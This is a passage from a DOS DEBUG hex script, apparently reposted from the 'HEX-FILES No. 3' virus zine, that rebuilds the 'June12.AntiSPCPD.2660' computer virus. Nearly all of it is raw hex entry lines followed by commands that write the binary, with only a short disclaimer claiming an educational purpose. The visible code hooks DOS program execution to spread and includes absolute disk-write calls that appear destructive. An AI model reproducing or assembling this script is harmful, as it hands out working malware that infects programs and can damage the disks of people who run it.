E 01C0 6C 65 20 66 6F 72 20 61 63 74 75 61 6C 2C 20 69
E 01D0 6D 70 6C 69 65 64 0D 0A 61 6E 64 2F 6F 72 20 69
E 01E0 6D 61 67 69 6E 61 72 79 20 64 61 6D 61 67 65 20
E 01F0 61 72 69 73 69 6E 67 20 64 69 72 65 63 74 6C 79
E 0200 20 6F 72 20 69 6E 64 69 72 65 63 74 6C 79 20 66
E 0210 72 6F 6D 20 74 68 65 20 75 73 65 2C 20 6D 69 73
E 0220 75 73 65 0D 0A 6F 72 20 6E 6F 6E 2D 75 73 65 20
E 0230 6F 66 20 74 68 69 73 20 70 72 6F 67 72 61 6D 2E
E 0240 20 54 68 65 20 70 65 72 73 6F 6E 20 77 68 6F 20
E 0250 65 78 65 63 75 74 65 73 20 74 68 69 73 20 70 72
E 0260 6F 67 72 61 6D 20 62 65 61 72 73 20 66 75 6C 6C
E 0270 0D 0A 72 65 73 70 6F 6E 73 69 62 69 6C 69 74 79
E 0280 20 66 6F 72 20 68 69 73 2F 68 65 72 20 61 63 74
E 0290 69 6F 6E 73 2E 0D 0A 0A 54 68 69 73 20 70 72 6F
E 02A0 67 72 61 6D 20 69 73 20 73 74 72 69 63 74 6C 79
E 02B0 20 66 6F 72 20 65 64 75 63 61 74 69 6F 6E 61 6C
E 02C0 20 6F 72 20 72 65 73 65 61 72 63 68 20 70 75 72
E 02D0 70 6F 73 65 73 20 6F 6E 6C 79 2E 0D 0A 0A 0A 24
E 02E0 08 20 1A 0E 1F BA 07 01 B4 09 CD 21 B4 4C CD 21
E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0300 E9 ED 02 1A E5 01 B1 12 00 00 80 00 B1 12 5C 00
E 0310 B1 12 6C 00 B1 12 50 00 C1 12 56 04 C6 12 00 F0
E 0320 46 49 04 19 12 00 01 97 13 05 00 01 35 05 28 0E
E 0330 20 00 00 55 01 28 0E B3 24 4E 93 01 4D 5A 04 00
E 0340 0E 00 00 00 20 00 00 00 FF FF DA 00 60 0A 29 12
E 0350 16 03 DA 00 1E 00 00 00 07 03 03 00 00 A0 0F 00
E 0360 02 10 00 9C DF D3 D1 D1 DD D2 D8 B2 DF D3 D1 D9
E 0370 C4 D9 DD D2 C8 D5 B1 CF F3 E9 E8 F4 F9 EE F2 BC
E 0380 CC F4 F5 F0 B2 BC DF F3 E9 F2 FF F5 F0 BC A8 BC
E 0390 CC F9 FD FF F9 BC D2 BB BC D8 F9 EA F9 F0 F3 EC
E 03A0 F1 F9 F2 E8 BC 9E 43 9E BC BC 63 63 BC 9E B6 9D
E 03B0 BC 9F 43 9E BC 80 63 63 BC 96 43 9E BC 84 63 63
E 03C0 BC 99 C0 9D 2F 9D B3 9D BC 9A 43 9E BC 88 63 63
E 03D0 BC 98 58 9D 58 9D 93 9D 58 9D 58 9D BC 99 B6 9D
E 03E0 BC 9F 43 8E 63 63 BC 99 B3 9D 2F 9D C0 9D BC 9A
E 03F0 40 9E BC 88 63 63 BC 96 40 9E BC 84 63 63 BC 9E
E 0400 B6 9D BC 9F 40 9E BC 80 63 63 BC 9E 40 9E BC BC
E 0410 63 63 EC E8 DC EC E2 EC E8 DC EC E8 DC EC E2 E2
E 0420 E2 EC E8 DC EC E2 E2 E2 E2 E2 EC E2 EC 88 EC E2
E 0430 E2 E2 EC ED 8C EC ED 8C EC E2 EC ED 8C EC ED 8C
E 0440 D1 D8 DD F9 DE F8 C9 F5 D4 FF DD FD C5 E8 BC F9
E 0450 DD F8 D2 BC DB E8 BC F3 CC BC D5 D1 D0 FD D5 F2
E 0460 CC F3 D5 F2 D2 FB DD BC CF CE BD FD BC F1 BC F3
E 0470 BC EF BC B2 94 9E 94 9E 5E 9D 5E 9D A8 9E 08 9D
E 0480 A8 9E 08 9D EC 9E EC 9E D2 9E D2 9E 19 9E A4 9E
E 0490 1A 9E A4 9E C7 91 BD 92 78 97 C7 91 56 8D 78 97
E 04A0 04 96 9C 96 04 96 78 97 04 96 C7 91 C7 91 BD 92
E 04B0 78 97 C7 91 56 8D 78 97 04 96 9C 96 04 96 78 97
E 04C0 B0 9C C7 91 BD 92 C7 91 78 97 78 97 56 8D 56 8D
E 04D0 78 97 78 97 56 8D 56 8D 04 96 F3 95 75 94 6D 9B
E 04E0 75 94 C7 91 BD 92 C7 91 78 97 78 97 56 8D 56 8D
E 04F0 78 97 78 97 56 8D 56 8D 04 96 9C 96 04 96 78 97
E 0500 04 96 78 97 C7 91 B0 9C C7 91 46 93 C7 91 9C 96
E 0510 9C 96 75 94 75 94 6D 9B 75 94 9C 96 75 94 6D 9B
E 0520 E2 9B 6D 9B 75 94 6D 9B 9C 96 75 94 04 96 04 96
E 0530 9C 96 B0 9C C7 91 B0 9C 90 95 9F 90 90 98 98 98
E 0540 95 9F 90 90 90 95 9F 90 90 98 98 98 95 9F 98 98
E 0550 98 95 9F 95 9F 95 9F 95 9F 95 9F 95 9F 90 98 98
E 0560 98 95 9F 95 9F 95 9F 95 9F 98 98 98 98 98 98 90
E 0570 98 98 98 90 90 90 90 95 9F 95 9F 90 98 98 98 90
E 0580 90 90 95 9F B8 90 84 9C 32 C0 CF 56 53 9C BE 87
E 0590 02 2E 8A 1C 2E 30 5C FF 4E 83 FE 63 75 F6 9D 5B
E 05A0 5E C3 52 51 53 50 56 57 1E 06 B4 2A CD 21 80 FA
E 05B0 0D 76 00 80 FA 01 75 03 E8 91 05 07 1F 5F 5E 58
E 05C0 5B 59 5A C3 56 9C BE D5 04 2E F6 14 46 81 FE 95
E 05D0 06 75 F6 BE 73 07 2E F6 14 4E 81 FE A2 06 75 F6
E 05E0 BE 7C 07 2E F6 14 46 81 FE D7 07 75 F6 9D 5E C3
E 05F0 07 B4 EF CD 21 80 FC EE 77 15 3D 5B 02 75 10 BE
E 0600 0B 01 BF 00 01 B4 FF 06 1F 8B 0E 04 00 CD 21 8C
E 0610 C8 8E D0 BC 60 0A FC 2E 83 2E 1E 03 04 EB 04 B4
E 0620 4C CD 21 36 80 3E 58 00 00 90 76 05 50 58 E8 D6
E 0630 04 F9 D1 73 F9 F9 FF D1 73 F9 F3 FF D1 73 F9 EF
E 0640 FF D1 73 F9 EB FF 73 3F FA EF FF D1 FE F9 E3 FF
E 0650 D1 FE F9 E7 FF 4B 10 D1 7F F9 E1 FC FB 32 DE 7F
E 0660 03 10 8C EF F8 D1 71 E9 E7 FF D1 74 D9 E9 FF D1
E 0670 00 D1 E5 FF CC 3F 71 3F D9 5E 03 FC D1 5C E1 FF
E 0680 D9 5F 01 FC D1 5D DF FF D9 38 F9 03 FC 0C 5A D9
E 0690 39 F9 01 FC 34 A7 FA EF FF 71 3F F1 E0 46 9B F5
E 06A0 2E 16 CC 09 74 01 F9 47 4F FC AF 15 03 FC FF FF
E 06B0 73 37 71 2F 43 FF F3 CC 3F 71 27 D1 5E E1 FF 5C
E 06C0 03 FC D1 5F DF FF 5D 01 FC 74 23 4E FB 2C 14 7C
E 06D0 3C DF 4B B5 D1 71 F9 F9 FF 32 DE 47 DE CA 32 DE
E 06E0 D1 76 E1 DE FF D1 73 F9 DC FF F1 E0 45 B6 FB 47
E 06F0 DE DA 32 DE 71 F9 F9 FF D9 71 F9 D3 FF CC 00 46
E 0700 00 80 CD 3F 0D 51 D9 C7 FA 1F 06 74 28 7C 3D FC
E 0710 CD 3F D1 5D C4 FF 47 FF B4 F9 E0 F1 F8 44 F7 FF
E 0720 63 D1 00 E1 DE FF E1 F8 4B B6 32 DE 4B B2 32 DE
E 0730 2E 80 3E 58 00 00 75 03 E8 CC 03 B4 31 BA 64 09
E 0740 B1 04 D3 EA 83 C2 11 CD 21 9C 80 FC EF 75 05 B8
E 0750 5B 02 9D CF 80 FC FF 74 17 3D 00 4B 75 02 EB 2E
E 0760 2E 80 3E 3B 00 00 75 05 80 FC 3D 74 1D E9 86 03
E 0770 58 58 B8 00 01 2E A3 25 00 58 8C C0 2E A3 27 00
E 0780 F3 A4 9D 33 C0 2E FF 2E 25 00 A8 07 75 DF 2E FE
E 0790 06 3B 00 2E C7 06 29 00 FF FF 2E C6 06 2B 00 00
E 07A0 2E 89 16 2C 00 2E 8C 1E 2E 00 50 53 51 52 56 57
E 07B0 1E 06 55 FC 1E 52 0E 1F B8 24 35 CD 21 89 1E 33
E 07C0 00 8C 06 35 00 BA 88 02 B8 24 25 CD 21 5A 1F E8
E 07D0 B9 FD E8 EF FD 74 05 CD 2D 7F 82 FE C5 8A FA 75
E 07E0 EA 7F 1D E0 4B C9 32 DE C2 00 00 8A FC 16 31 FD
E 07F0 08 1C 08 1E F4 2D 8A FA C2 9B F5 8D 0F D1 74 E9
E 0800 D3 FF E1 F8 CD 3F 46 D6 FF 0D 51 D1 74 C9 D3 FF
E 0810 75 FB F5 3F 8B F1 C3 9E 8D F8 C3 85 88 FC 7F D3
E 0820 DF B9 14 13 F1 F8 A9 46 FC FF D4 0E 40 93 FF CD
E 0830 3F D1 5D CD FF 0C 59 A1 8A FD 14 E9 D1 01 F9 CD
E 0840 FF A9 46 FC FF D4 0E 40 90 FF 0C 59 A1 8B FC 16
E 0850 93 FD 46 F4 FF D4 0E 40 9B FF 0C 59 8A FC 16 A2
E 0860 FD 47 FF BC 32 DE 8D FA D1 76 F1 CF FF 8D FA 47
E 0870 FF C2 32 DE 8D F4 D1 5C D6 FF 4B B7 44 FC FF 32
E 0880 DE 8D E6 D1 01 F9 D4 FF D1 74 E1 D6 FF 71 27 46
E 0890 00 00 45 23 F8 08 25 47 FD BD 32 DE 8D ED FA 23
E 08A0 F8 D1 5C FB FF 46 CF FF CC 2D 74 0D 4B C0 32 DE
E 08B0 8D E6 46 CF FF 40 77 FD F1 F8 0C 59 E1 F8 8A F8
E 08C0 4B C1 32 DE 16 08 FE 4B B6 32 DE 8D EE D1 01 F1
E 08D0 D4 FF D1 3A E9 D3 FF CC 36 47 FE BC 32 DE 8D E5
E 08E0 D1 01 F9 A5 FF D1 74 E1 D6 FF 4B C1 32 DE D1 38
E 08F0 F9 D6 FF 00 00 47 FD C2 32 DE 8D D6 D1 5C D6 FF
E 0900 73 37 71 27 71 3F 74 E1 D6 FF 47 FF A8 32 DE 76
E 0910 E9 C8 FF 76 F1 C6 FF D1 01 F9 A6 FF CC 36 74 2E
E 0920 47 FF BD 32 DE 8D A0 7F C1 CD FF FF 8B FC 16 73
E 0930 FF 44 FF EF 4B B7 32 DE 8C F4 4B C1 74 E1 D6 FF
E 0940 32 DE 16 86 FE 01 F9 D4 FF 71 3F CC 00 41 03 F8
E 0950 46 F4 FF 0C 5B 5E FB FF FA F4 FF 74 37 DA 0F 00
E 0960 FA EF FF D4 37 08 26 78 16 4E FB 2C 17 FA EF FF
E 0970 D9 5C FB FF 74 28 74 F1 FB FF 74 E1 D6 FF E1 F9
E 0980 E0 4B C0 32 DE E0 8D CF FC 06 78 16 CD 3F 0C 55
E 0990 CC 09 46 9B F5 E8 2C FC E8 F0 FB F3 A4 E8 EB FB
E 09A0 E8 21 FC F9 E0 FC 06 CC 36 74 2E 47 FF BD 32 DE
E 09B0 74 30 CC 2D 4B BF 32 DE 8D F2 16 3D FF 46 E3 FF
E 09C0 45 C3 FF 4B C0 32 DE 8D BB 5E B5 FF 5C E7 FF 5E
E 09D0 B3 FF 5C E9 FF 5E AF FF 5C E5 FF 5E AD FF 5C E3
E 09E0 FF 5E BF FF 7C C1 C1 FF FF 8B FE B7 08 D9 A0 FF
E 09F0 FC F9 C1 FF 7C 2D FF FA F0 FF 7C 2D FF DA 0F 00
E 0A00 5C A2 FF 76 E9 A4 FF FA 9B F5 7C 2D FF 8D C5 08
E 0A10 C9 A0 FF F4 2D 8B FE BF 5C BF FF 76 E9 C1 FF 5E
E 0A20 A2 FF 74 E9 A4 FF 08 C9 9E FF D4 F9 BB FF 5C AD
E 0A30 FF 38 F9 AF FF E9 FC 5C B5 FF 38 F9 B3 FF 9F F5
E 0A40 CC 36 74 2E 47 FF BD 32 DE 8D F5 46 E3 FF 45 C3
E 0A50 FF 4B BF 32 DE 8D EE C4 3E 8A DB 74 E9 A2 FF 74
E 0A60 F1 A4 FF 47 FF BD 32 DE 8D EA CC 2D 46 9B F5 4B
E 0A70 BF 17 E8 04 E8 4D FB CD 21 E8 48 FB 17 F3 04 D1
E 0A80 7C C1 D6 FF 00 8B C8 D1 7F C1 A6 FF FF 8B EB D1
E 0A90 74 E1 D6 FF D1 74 E9 C8 FF D1 74 F1 C6 FF 47 FE
E 0AA0 A8 32 DE 4B C1 32 DE D1 7F C1 A5 FF FF 8B F0 D1
E 0AB0 3A E9 D3 FF D1 74 F1 CF FF 47 FE BC 32 DE D1 3A
E 0AC0 E9 CC FF 47 DB DA 32 DE D1 7F C1 D4 FF FF 8B FB
E 0AD0 4B B6 32 DE 17 4B 05 E8 EA FA 32 C0 2E A2 3B 00
E 0AE0 8B EC 8B 46 10 3D 00 4B 75 03 E8 B5 FA 5D 07 1F
E 0AF0 5F 5E 5A 59 5B 58 9D 2E FF 2E 21 00 16 8C D0 05
E 0B00 4B 50 50 33 C0 50 CB 56 BE 2F 04 2E F6 14 4E 81
E 0B10 FE 30 03 77 F6 2E 80 36 58 00 07 5E C3 B8 19 07
E 0B20 B9 00 00 BA 4F 18 B7 07 CD 10 C3 51 8A CC 32 ED
E 0B30 B4 09 CD 10 59 C3 B4 02 CD 10 87 CD 8A 05 B4 09
E 0B40 CD 10 FE C2 83 C7 02 87 CD E2 EB C3 B0 03 B4 00
E 0B50 CD 10 0E 1F B4 03 32 FF CD 10 51 B4 01 B9 01 02
E 0B60 CD 10 E8 26 FA FB BE 72 00 BA 10 02 32 FF B3 0F
E 0B70 B4 02 CD 10 B9 32 00 BD 01 00 AC B4 09 87 CD CD
E 0B80 10 87 CD FE C2 B4 02 CD 10 E2 EF 32 FF BA 16 04
E 0B90 BE A4 00 BF 12 01 B9 09 00 B4 02 CD 10 B4 02 CD
E 0BA0 10 AD 3C FF 74 0A 02 D4 8A 1D E8 7E FF 47 EB E9
E 0BB0 FE C6 B2 16 E2 E3 B4 0D CD 21 B0 00 50 B9 00 01
E 0BC0 BA 00 00 CD 26 9D 58 FE C0 3C 02 72 EF B0 02 50
E 0BD0 B9 FF FF BA 00 00 CD 26 9D 58 50 B9 FF FF BA FF
E 0BE0 FF CD 26 9D 58 FE C0 3C 05 76 E4 BB 50 C3 8A C3
E 0BF0 E6 40 8A C7 E6 40 E4 61 50 B9 08 00 8B F9 4F D1
E 0C00 E7 8B B5 74 01 8B BD 84 01 51 E8 2C 00 59 E2 EC
E 0C10 58 E6 61 32 C0 E6 40 E6 40 B8 40 00 8E D8 BF 40
E 0C20 00 C6 05 01 32 FF 33 D2 B4 02 CD 10 FA E8 5B F9
E 0C30 E8 EA FE 59 B4 01 CD 10 C3 8B 1C B0 B6 E6 43 8B
E 0C40 C3 E6 42 86 E0 E6 42 E4 61 0C 03 E6 61 8A 0D 1E
E 0C50 56 B8 40 00 8E D8 BE 40 00 88 0C 80 3C 00 75 FB
E 0C60 5E 1F 83 C6 02 47 80 3C 2C 75 CE C3 8C C8 8E D0
E 0C70 4D 28 0E 00 10 B4 EF CD 54 52 41 50 45 58 45 33
E 0C80 16 8C D0 05 30 00 50 33 C0 50 CB E9 D5 01 0D 20
E 0C90 20 20 0D 0A 4D 61 62 75 68 61 79 21 0D 0A 0A 54
E 0CA0 68 69 73 20 69 73 20 4A 75 6E 65 31 32 2E 41 6E
E 0CB0 74 69 53 50 43 50 44 2E 32 36 36 30 20 76 69 72
E 0CC0 75 73 20 63 6F 6D 69 6E 67 20 74 6F 20 79 6F 75
E 0CD0 20 66 72 6F 6D 20 74 68 65 20 50 68 69 6C 69 70
E 0CE0 70 69 6E 65 73 2E 0D 0A 42 72 6F 75 67 68 74 20
E 0CF0 74 6F 20 79 6F 75 20 6C 69 76 65 20 62 79 20 48
E 0D00 45 58 2D 46 49 4C 45 53 20 4E 6F 2E 20 33 0D 0A
E 0D10 0A 48 45 58 2D 46 49 4C 45 53 20 61 6E 64 20 50
E 0D20 75 74 6F 6B 73 61 20 4B 61 77 61 79 61 6E 20 61
E 0D30 72 65 20 6E 6F 74 20 72 65 73 70 6F 6E 73 69 62
E 0D40 6C 65 20 66 6F 72 20 61 63 74 75 61 6C 2C 20 69
E 0D50 6D 70 6C 69 65 64 0D 0A 61 6E 64 2F 6F 72 20 69
E 0D60 6D 61 67 69

RCX
0C64
W
Q

ÄÄ J12SPCPD.SCR ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ





-=<HF3>=-

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT